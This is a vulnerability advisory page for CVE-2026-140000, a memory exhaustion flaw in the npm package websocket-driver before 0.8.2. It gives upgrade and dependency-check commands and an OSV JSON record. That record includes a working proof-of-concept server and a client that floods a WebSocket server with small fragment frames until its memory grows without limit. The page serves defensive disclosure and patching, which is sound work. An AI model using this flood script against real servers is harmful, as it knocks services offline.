CVE-2026-140000: websocket-driver Memory Exhaustion Triggered By Small Vulnerability
HIGHCVE-2026-140000 is a HIGH (CVSS 7.5) memory exhaustion triggered by small vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting websocket-driver libraries in the npm ecosystem. The issue involves memory exhaustion triggered by small fragment frames holding long-lived references to tcp reads. Remediation is available by upgrading affected packages to version 0.8.2.
CVE-2026-140000 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-140000
To remediate this vulnerability, upgrade all affected websocket-driver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install websocket-driver@0.8.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls websocket-driver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140000, inspect your project dependencies using npm:
npm ls websocket-driver
Analyze the terminal output to locate any version of websocket-driver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.2), your application is affected.
Note: The npm ls websocket-driver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In websocket-driver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140000 Affected websocket-driver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
websocket-driver
|
npm |
< 0.8.2
|
0.8.2
|
References
Frequently Asked Questions
What is CVE-2026-140000?
Which websocket-driver versions are affected?
What version fixes CVE-2026-140000?
Is websocket-driver affected?
What is the CVSS score of CVE-2026-140000?
What CWE is associated with CVE-2026-140000?
How can I check npm dependencies for CVE-2026-140000?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j7r2-xppq-m353",
"modified" : "2026-12-03T02:45:03Z",
"published" : "2026-12-03T02:45:03Z",
"aliases" : [ "CVE-2026-140000" ],
"summary" : "websocket-driver: Memory exhaustion triggered by small fragment frames holding long-lived references to TCP reads",
"details" : "### Summary\n\nWith the default configuration options, an unauthenticated remote client is able to force the server to retain large `Buffer` objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.\n\n### Details\n\n`websocket-driver` handles incoming TCP input via a `pipe()` call that feeds `Buffer` objects read from a TCP stream into the driver. A class named `StreamReader` stores the sequence of received buffers in an array and its `read(length)` method is used by the parser to consume arbitrary-sized chunks of the input stream.\n\nIf the requested `length` is smaller than the length of the first `Buffer` in the input queue, the `Buffer.slice()` method is used to take a reference to a slice of that `Buffer` without copying it. Since `slice()` takes a reference to the source `Buffer`, the source is not garbage collected until all slices taken from it are dropped.\n\nA client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds `maxLength`, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing.\n\nAs of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals `maxLength`.\n\n### Proof of concept\n\nThis server uses `websocket-driver` to handle incoming connections, and periodically logs the amount of array buffer memory it is using:\n\n```js\nconst net = require('net')\nconst websocket = require('websocket-driver')\n\nconst server = net.createServer((connection) => {\n const driver = websocket.server()\n\n driver.on('connect', () => {\n if (websocket.isWebSocket(driver)) driver.start()\n })\n\n driver.on('close', () => connection.end())\n connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5107, '127.0.0.1')\n\nsetInterval(() => {\n const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)\n console.log('ArrayBuffers (MiB): ' + MiB)\n}, 1000)\n```\n\nThis client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:\n\n```js\nconst { randomBytes } = require('crypto')\nconst net = require('net')\n\n// masked frames, mask key 00 00 00 00\nlet firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte\nlet continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte\n\nfunction pong () {\n return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])\n}\n\n// 1 continuation fragment + 500 pongs = about one 64 KiB socket read\nlet unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])\n\nlet socket = net.connect(5107, '127.0.0.1')\nsocket.on('error', () => {})\n\nsocket.write(\n 'GET / HTTP/1.1\\r\\n' +\n 'Host: 127.0.0.1\\r\\n' +\n 'Connection: Upgrade\\r\\n' +\n 'Upgrade: websocket\\r\\n' +\n `Sec-WebSocket-Key: ${btoa('the sample nonce')}\\r\\n` +\n 'Sec-WebSocket-Version: 13\\r\\n' +\n '\\r\\n'\n)\n\nsocket.once('data', () => {\n socket.write(firstFragment)\n let flood = () => {\n while (socket.write(unit)) {}\n socket.once('drain', flood)\n }\n flood()\n})\n```\n\nWhen running both of these, the server's memory use is observed to increase indefinitely. After patching, it remains at a low stable level.\n\n### Impact\n\nA server using `websocket-driver` can be forced to retain unneeded `Buffer` objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "websocket-driver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/security/advisories/GHSA-j7r2-xppq-m353"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140000"
}, {
"type" : "WEB",
"url" : "https://github.com/faye/websocket-driver-node/commit/93c3c5fc43e40726eaa3c25d13d200f0ec12cfed"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/faye/websocket-driver-node"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-03T02:45:03Z",
"nvd_published_at" : "2026-11-30T22:17:29Z"
}
}